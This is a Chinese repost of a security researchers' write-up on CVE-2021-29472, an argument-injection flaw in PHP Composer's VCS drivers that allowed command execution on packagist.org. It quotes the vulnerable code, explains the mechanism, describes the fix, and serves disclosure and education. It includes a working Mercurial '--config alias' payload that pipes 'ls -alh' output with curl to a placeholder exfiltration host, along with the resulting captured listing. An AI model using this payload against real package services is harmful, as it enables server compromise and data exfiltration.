正文:
简单概括本文的内容为:PHP包管理器Composer中,由于处理程序包来源下载 URL 的方式不当,导致存在远程命令执行漏洞。攻击者可以通过参数注入构建恶意的 Mercurial 库 URL,并利用其 alias 选项执行攻击者指定的shell命令。
1 前言
供应链攻击(SupplyChainAttack)一直是当前热门话题之一。即前三年,发生了有史以来规模最大的软件供应链攻击事件,导致 18,000 个 SolarWinds 客户受到后门感染。
简单回顾一下 SolarWinds 供应链攻击事件。SolarWindsInc 是一家美国软件开发公司,主要业务为帮助企业管理网络、系统和信息技术基础设施。攻击者入侵 SolarWinds 后,将其官网提供的 Orion 软件安装包替换为植入后门的版本。攻击者篡改了文件 SolarWinds.Orion.Core.BussinessLayer.dll 的源码,并添加了后门代码,该文件具有合法数字签名,并随软件更新一起发布。后门代码伪装成 OrionOIP 协议的流量进行通信,能够将恶意行为与 SolarWinids 的合法行为混合在一起。
而在今年年初,一名安全研究人员发现了一种新型供应链攻击技术,该技术对许多互联网巨头公司,如苹果公司、微软和 Paypal 等领先公司构成威胁。这些攻击主要利用的是,现在的软件都是基于其他第三方软件组件构建的,但通常对下载的软件包没有明确的可见性。尽管对一些组件的重用可以加快软件开发过程,但同时也成为感染供应链的一个非常微妙且有效的入口,能够同时危害许多机构。
在 PHP 的生态系统中,Composer 是管理和安装软件所需依赖的主要工具。全世界的开发团队都使用它来简化依赖的更新过程,并确保应用程序可以轻松实现跨环境和版本的工作。然而,由于处理程序包来源下载 URL 的方式不当,Composer 存在远程命令执行漏洞。攻击者可以通过参数注入构建恶意的 Mercurial 库 URL,并利用其 alias 选项执行攻击者指定的 shell 命令。
Composer 使用一个名为 Packagist 的在线服务,它可以确定软件包下载的正确供应链。仅仅一个月,Packagist 服务就处理了大约 14 亿次下载请求!
在我们的安全研究中,我们在 Packagist 使用的 Composer 源代码中发现了一个严重的漏洞。该漏洞允许我们在 Packagist.org 服务器上执行任意系统命令。这个核心组件每月提供超过 100 万个包元数据请求,其中一个漏洞将产生巨大的影响,因为这个访问可能被用来窃取包维护者的身份凭据,或者它可以将包的下载重定向到一个有后门的服务器。
在本文中,我们将介绍检测到的漏洞以及修复它们的解决方案。一些易受攻击的代码已经存在很长时间了,可以追溯到 10 年前 Composer 的第一个版本。发现漏洞后,我们向 Packagist 团队报告了所有问题,他们在 12 小时内迅速部署了修复程序,并为该漏洞申请了 CVE-2021-29472。据他们所知,这个漏洞还没有被利用(详见他们的博客)。
2 漏洞详细信息
当 Composer 下载软件包时,它首先查询 Packagist 以获得所需的元数据(例如,在本例中是 Composer 本身)。该元数据包含两个关于从哪里获取代码的字段:source,指向开发人员存储库;Dist,指向预建的档案。从仓库下载代码时,Composer 会使用外部系统命令,避免重复每个版本 ControlSoftware 特有的逻辑(VCS,版本控制是维护工程蓝图的标准做法,也是一种软件工程技能,以保证不同人编辑的同一程序在软件开发过程中能够同步)。为此,您可以使用包装器 ProcessExecutor 进行这样的调用:
use Symfony\Component\Process\Process;
// [...]
class ProcessExecutor
{
// [...]
public function execute($command, &$output = null, $cwd = null)
{
if (func_num_args() > 1) {
return $this->doExecute($command, $cwd, false, $output);
}
return $this->doExecute($command, $cwd, false);
}
// [...]
private function doExecute($command, $cwd, $tty, &$output = null)
{
// [...]
if (method_exists('Symfony\Component\Process\Process', 'fromShellCommandline')) {
// [1]
$process = Process::fromShellCommandline($command, $cwd, null, null, static::getTimeout());
} else {
// [2]
$process = new Process($command, $cwd, null, null, static::getTimeout());
}
if (!Platform::isWindows() && $tty) {
try {
$process->setTty(true);
} catch (RuntimeException $e) {
// ignore TTY enabling errors
}
}
$callback = is_callable($output) ? $output : array($this, 'outputHandler');
$process->run($callback);
我们看到,在[1]和[2]处,参数$command 是由 Symfony\Component\Process\Process 在 shell 中执行的。大多数 ProcessExecutor 调用均在 VCS 驱动程序中执行,该驱动程序负责对远程和本地仓库进行所有操作(比如 clone,提取信息等),例如在 Git 驱动程序中:
composer/src/Composer/Repository/Vcs/GitDriver.php
public static function supports(IOInterface $io, Config $config, $url, $deep = false)
{
if (preg_match('#(^git://|\.git/?$|git(?:olite)?@|//git\.|//github.com/)#i', $url)) {
return true;
}
// [...]
try {
$gitUtil->runCommand(function ($url) {
return 'git ls-remote --heads ' . ProcessExecutor::escape($url); // [1]
}, $url, sys_get_temp_dir());
} catch (\RuntimeException $e) {
return false;
}
虽然$url 参数是通过使用 ProcessExector::escape()转义的,以防止 shell 计算子命令($ (…),`…`),但是没有什么可以阻止用户提供以–开头的值并将参数添加到最终命令中。这种类型的漏洞称为参数注入或自变量注入。
在所有其他驱动程序中都可以找到相同类型的漏洞模式。在这些驱动程序中,用户控制的数据被正确转义,但它是用系统命令拼接的:composer/src/composer/repository/VCS/SVN driver . PHP
public static function supports(IOInterface $io, Config $config, $url, $deep = false)
{
$url = self::normalizeUrl($url);
if (preg_match('#(^svn://|^svn\+ssh://|svn\.)#i', $url)) {
return true;
}
// [...]
$process = new ProcessExecutor($io);
$exit = $process->execute(
"svn info --non-interactive ".ProcessExecutor::escape($url),
$ignoredOutput
);
composer/src/Composer/Repository/Vcs/HgDriver.php
public static function supports(IOInterface $io, Config $config, $url, $deep = false)
{
if (preg_match('#(^(?:https?|ssh)://(?:[^@]+@)?bitbucket.org|https://(?:.*?)\.kilnhg.com)#i', $url)) {
return true;
}
// [...]
$process = new ProcessExecutor($io);
$exit = $process->execute(sprintf('hg identify %s', ProcessExecutor::escape($url)), $ignored);
return $exit === 0;
}
参数注入漏洞是比较酷的漏洞,但是在代码审计的过程中往往被忽略,在黑盒项目中完全被忽略。虽然我们知道用户可控制的值应该通过使用 escapeshellarg()被正确地中和,但是我们没有被提醒用户可控制的值仍然可以是选项(也就是-)。
攻击 packagist.org。
万一你不熟悉 PHP 是怎么打包的,先简单介绍一下。只需在顶层目录中添加一个名为 composer.json 的文件,你的项目就会变成一个包。然后,只需在 packagist.org 上创建一个帐户,提交仓库的 URL,packagist.org 将自动获取您的项目,解析 composer.json 并创建相关的包。如果一切顺利,那么您的包已经成功发布,在 Packagist 上公开可见,任何人都可以安装。
Packagist.org 在创建过程中会依赖 composer 中的 API 来获取包,因此支持各种 VCS,如 Git、Subversion、Mercurial 等。您可以在 packagist/src/entity/package . PHP)中看到,它将执行以下操作:
packagist / src / Entity / Package.php
$io = new NullIO();
$config = Factory::createConfig();
$io->loadConfiguration($config);
$httpDownloader = new HttpDownloader($io, $config);
$repository = new VcsRepository(['url' => $this->repository], $io, $config, $httpDownloader); // [1]
$driver = $this->vcsDriver = $repository->getDriver(); // [2]
if (!$driver) {
return;
}
$information = $driver->getComposerInformation($driver->getRootIdentifier());
if (!isset($information['name'])) {
return;
}
if (null === $this->getName()) {
$this->setName(trim($information['name']));
}
VcsRepository([1])类来自 Composer,以及对 getDriver()([2])方法的调用会触发对下列 VCS drivers 类中 supports()和 initialize()方法的调用:
2 . GitLabDriver
3 . GitBitbucketDriver
4 . GitDriver
5 . HgBitbucketDriver
6 . HgDriver
7 . PerforceDriver
8 . FossilDriver
9 . SvnDriver
这些类是我们发现参数注入漏洞的地方。这里是漏洞利用时间。
4 攻击时间!
我们不经常讨论开发细节来防止任何恶意的大规模开发,但是我们觉得这个 Composer 漏洞本身的影响是有限的。但是,如果用户碰巧将 Composer 和 VcsRepository 与用户控制的 URL 一起使用,或者如果您有自己的 Packagist 实例,则必须确保您的 Composer 已升级以防止漏洞。
因为基本上所有的驱动都有缺陷,所以我们决定找一个最容易使用的来重现。git 的参数注入攻击有详细的参考方法(–-upload-pack,–-output),但这里的 git ls-remote 需要一个位置实参(即通过参数表中的相对位置传递给哪个参数)。我们不能同时提供–- upload-pack 和 location 参数,因为我们的值被括在单括号中。所以我们很难通过它执行代码,然后再看其他驱动。
在使用 Mercurial 客户端(hg)和阅读手册时,我们注意到一个名为–- config 的选项,它允许我们在执行任何操作之前在客户端加载新的配置指令。客户端支持别名设置:
可以创建与现有命令同名的别名,这将覆盖原始定义。这几乎总是一个坏主意!
您可以创建与现有命令同名的别名,但这将覆盖原始定义。
别名可以以感叹号(!)使其成为外壳别名。外壳别名与外壳一起执行,并允许您运行任意命令。举个例子,
别名可以用感叹号!开始的时候,让它成为一个 shell 别名,用 shell 执行,允许你运行任何命令。例如:
*echo =!echo $@*
我们将 identify 命令作为我们构造的 shell 命令的别名,hg 将执行它。由此产生的有效载荷为:
– config=alias.identify=!curl http://exfilation-host . TLD-data ” $(ls-alh)”
当我们使用这个 url 向 packagist.org 提交新的包时,我们收到了来自 AWS 主机的 HTTP 请求文本:
total 120K
drwxrwxr-x 9 composer composer 4.0K Apr 21 23:19 .
dr-xr-xr-x 15 composer composer 4.0K Apr 20 07:38 ..
-r--r--r-- 1 composer composer 8.7K Apr 20 07:38 .htaccess
-r--r--r-- 1 composer composer 1.3K Apr 20 07:38 app.php
-r--r--r-- 1 composer composer 8.2K Apr 20 07:38 apple-touch-icon-precomposed.png
-r--r--r-- 1 composer composer 8.2K Apr 20 07:38 apple-touch-icon.png
dr-xr-xr-x 3 composer composer 4.0K Jan 13 14:35 bundles
dr-xr-xr-x 4 composer composer 4.0K Apr 20 07:38 css [...]
lrwxrwxrwx 1 composer composer 15 Aug 13 2020 packages.json -> p/packages.json
lrwxrwxrwx 1 composer composer 18 Aug 13 2020 packages.json.gz -> p/packages.json.gz
-r--r--r-- 1 composer composer 106 Apr 20 07:38 robots.txt
-r--r--r-- 1 composer composer 798 Apr 20 07:38 search.osd
dr-xr-xr-x 2 composer composer 4.0K Apr 20 07:38 static-error
-r--r--r-- 1 composer composer 8.8K Apr 20 07:38 touch-icon-192x192.png
这表明我们确实在 Packagist 主机上执行了该命令;我们向 packagist.org 报告了这个漏洞,并且我们没有尝试其他危险的操作,比如提升权限。
5 修理
Packagist.org 的维护人员在 12 小时内部署了一个热补丁,有效地防止了该漏洞。4 月 27 日发布了 Composer fix,紧接着也发布了新版本 release 1.10.22/2.0.13。pacakgist.org 目前使用的 Composer 是最新的修复版本。
6 摘要
在本文中,我们展示了 Composer 中看似无害的错误是如何影响 Packagist.org 等服务的。安全研究人员,如 Max Justicz,经常在包管理器和相关服务中发现安全问题,可能会产生很大的影响。因此,相关公司应该在其供应链的审计工具上花费更多的精力。
转载请注明:汇站网 » PHP Composer 供应链攻击漏洞